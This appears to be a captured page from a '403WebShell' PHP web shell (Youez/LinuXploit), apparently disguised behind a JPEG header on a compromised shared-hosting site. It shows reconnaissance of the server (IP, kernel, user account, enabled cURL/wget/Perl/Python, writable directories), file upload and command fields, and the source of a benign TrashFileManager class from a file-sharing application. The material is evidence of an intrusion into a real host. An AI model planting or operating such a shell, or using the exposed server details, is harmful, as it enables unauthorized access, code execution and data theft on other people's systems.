����JFIF��x�x����'403WebShell
403Webshell
Server IP : 66.29.137.217  /  Your IP : 3.12.147.188
Web Server : LiteSpeed
System : Linux premium294.web-hosting.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : gltevjme ( 1095)
PHP Version : 7.0.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/gltevjme/ideyshare.name.ng/ner2/ucloud/app/services/file_manager/TrashFileManager.class.php
<?php

namespace App\Services\File_Manager;

use App\Core\Database;
use App\Helpers\AuthHelper;
use App\Helpers\ThemeHelper;
use App\Helpers\TranslateHelper;

class TrashFileManager extends BaseFileManager
{
    public function getData() {
        // preload current user and DB
        $Auth = AuthHelper::getAuth();

        // prepare the SQL clause
        $foldersClause = 'WHERE file_folder.userId = :user_id '
                . 'AND file_folder.status = "trash" '
                . 'AND file_folder.parentId IS NULL ';
        $foldersClauseReplacements = array();
        $foldersClauseReplacements['user_id'] = $Auth->id;
        $filesClauseReplacements = array();
        $filesClause = 'WHERE (file.userId = :user_id '
                . 'OR file.uploadedUserId = :user_id) '
                . 'AND file.status = "trash" '
                . 'AND file.folderId IS NULL ';
        $filesClauseReplacements['user_id'] = $Auth->id;
        
        // load the folders data into the object
        $this->getFoldersData($foldersClause, $foldersClauseReplacements);
        
        // load the files data into the object
        $this->getFilesData($filesClause, $filesClauseReplacements);
    }

    public function requiresLogin() {
        // allow logged in only users
        return true;
    }

    public function getRequiredPrechecks() {
        return false;
    }

    public function getPageTitle() {
        return TranslateHelper::t('trash_can', 'Trash Can');
    }

    public function getPageUrl() {
        return ThemeHelper::getLoadedInstance()->getAccountWebRoot().'/trash';
    }
    
    public function getUserOwnsFolder() {
        return true;
    }
    
    public function getNoResultsHtml() {
        return '<div class="alert alert-warning"><i class="entypo-attention"></i> '
                . TranslateHelper::t('no_trash_files_found', 'Your trash can is empty.')
                . '</div>';
    }

    public function getBreadcrumbs() {
        // get base level first
        $breadcrumbs = $this->getBaseBreadcrumbs();
        
        $dropdownMenu = '';
        $dropdownMenu .= '<ul role="menu" class="dropdown-menu dropdown-white pull-left"><li>';
        $dropdownMenu .= '    <li><a href="#" onClick="confirmEmptyTrash(); return false;"><span class="context-menu-icon"><span class="glyphicon glyphicon-trash"></span></span>' . TranslateHelper::t('empty_trash', 'Empty Trash') . '</a></li>';
        $dropdownMenu .= '</ul>';

        // add on any custom breadcrumbs
        $breadcrumbs[] = '<a href="#" class="btn btn-white"'.(strlen($dropdownMenu)?' data-toggle="dropdown"':'').'>' . $this->getPageTitle() . $this->getBreadcrumbTotalText() . (strlen($dropdownMenu)?'&nbsp;&nbsp;<i class="caret"></i>':'') . '</a>'.$dropdownMenu;

        return $breadcrumbs;
    }
    
    public function getPageTypeForFolders() {
        return 'folder';
    }

}

Youez - 2016 - github.com/yon3zu
LinuXploit